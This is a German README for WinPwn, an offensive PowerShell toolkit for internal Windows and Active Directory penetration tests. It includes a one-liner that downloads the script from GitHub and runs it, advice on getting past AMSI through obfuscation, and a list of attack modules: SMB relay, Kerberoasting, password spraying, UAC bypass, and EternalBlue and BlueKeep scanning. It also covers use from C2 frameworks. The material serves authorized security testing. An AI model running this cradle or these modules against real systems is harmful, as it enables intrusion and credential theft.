Automatisierung für interne Windows-Penetrationstests / AD-Security
In der Vergangenheit hatte ich bei vielen internen Penetrationstests Probleme mit den vorhandenen Powershell-Recon-/Exploitation-Skripten aufgrund fehlender Proxy-Unterstützung. Außerdem habe ich oft die gleichen Skripte nacheinander ausgeführt, um Informationen über das aktuelle System und/oder die Domäne zu erhalten. Um möglichst viele interne Penetrationstest-Prozesse (Reconnaissance sowie Exploitation) zu automatisieren und wegen des Proxy-Problems habe ich mein eigenes Skript mit automatischer Proxy-Erkennung und -Integration geschrieben. Das Skript basiert größtenteils auf bekannten großen anderen Offensive-Security-Powershell-Projekten.
Jegliche Vorschläge, Feedback, Pull Requests und Kommentare sind willkommen!
Importieren Sie die Module einfach mit:
Import-Module .\WinPwn.ps1 oder
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Um AMSI zu umgehen, verwenden Sie eine der vorhandenen Bypass-Techniken, finden Sie den AMSI Trigger und ändern Sie ihn manuell in der Bypass-Funktion oder kodieren Sie den Trigger-String. Alternativ können Sie das gesamte Skript verschleiern.
Wenn Sie auf einem Windows-System ohne Internetzugang festsitzen – kein Problem, verwenden Sie einfach Offline_Winpwn.ps1, die wichtigsten Skripte und ausführbaren Dateien sind enthalten.
Nach dem Import verfügbare Funktionen:
WinPwn -> Menü zur Auswahl von Angriffen:
Inveigh -> Führt Inveigh in einem neuen Konsolenfenster aus, SMB-Relay-Angriffe mit integriertem Session-Management (Invoke-TheHash)SessionGopher -> Führt Sessiongopher aus und fragt nach ParameternKittielocal ->Localreconmodules ->Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder und Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> Snaffler oder Passhunt-Suche über alle DomänensystemeGroupsearch -> Get-DomainGPOUserLocalGroupMapping - Systeme finden, auf die Sie über Gruppenrichtlinien-Mapping Admin- oder RDP-Zugriff haben (Powerview / Powersploit)Kerberoasting -> Führt Invoke-Kerberoast in einem neuen Fenster aus und speichert die Hashes zum späteren KnackenPowerSQL -> SQL-Server-Erkennung, Zugriff mit aktuellem Benutzer prüfen, Audit auf Standard-Anmeldedaten + UNCPath-Injection-AngriffeSharphound -> Bloodhound 3.0-BerichtAdidnsmenu -> Active Directory-integrierte DNS-Knoten erstellen oder entfernenMS17-10 -> Aktive Windows-Server in der Domäne oder alle Systeme auf MS17-10 (Eternalblue)-Schwachstelle scannenSharpcradle -> C#-Dateien von einem entfernten Webserver in den RAM ladenDomainPassSpray -> DomainPasswordSpray-Angriffe, ein Passwort für alle DomänenbenutzerBluekeep -> Bluekeep-Scanner für DomänensystemeOhne Parameter können die meisten Funktionen nur von einer interaktiven Shell aus verwendet werden. Daher habe ich die Parameter -noninteractive und -consoleoutput hinzugefügt, um das Skript von einem asynchronen C2-Framework wie Empire, Covenant, Cobalt Strike oder anderen nutzbar zu machen.
Zusätzlich wurde der Parameter -repo hinzugefügt, um WinPwn mit allen Funktionen aus einem lokalen Repository zu verwenden. Sie können wie folgt verwendet werden:
Verwendung:
-noninteractive -> Keine Fragen für Funktionen, sodass sie mit vordefinierten oder benutzerdefinierten Parametern ausgeführt werden
-consoleoutput -> Die Loot-/Berichtsordner werden nicht erstellt. Jede Funktion gibt die Ausgabe auf der Konsole aus, sodass Sie alles in den Agent-Protokollen Ihres C2-Frameworks einsehen können Beispiele:
WinPwn -noninteractive -consoleoutput -DomainRecon -> Dies gibt jedes einzelne Domänen-Recon-Skript und jede Funktion aus und wird Ihnen wahrscheinlich sehr viele Ausgaben liefern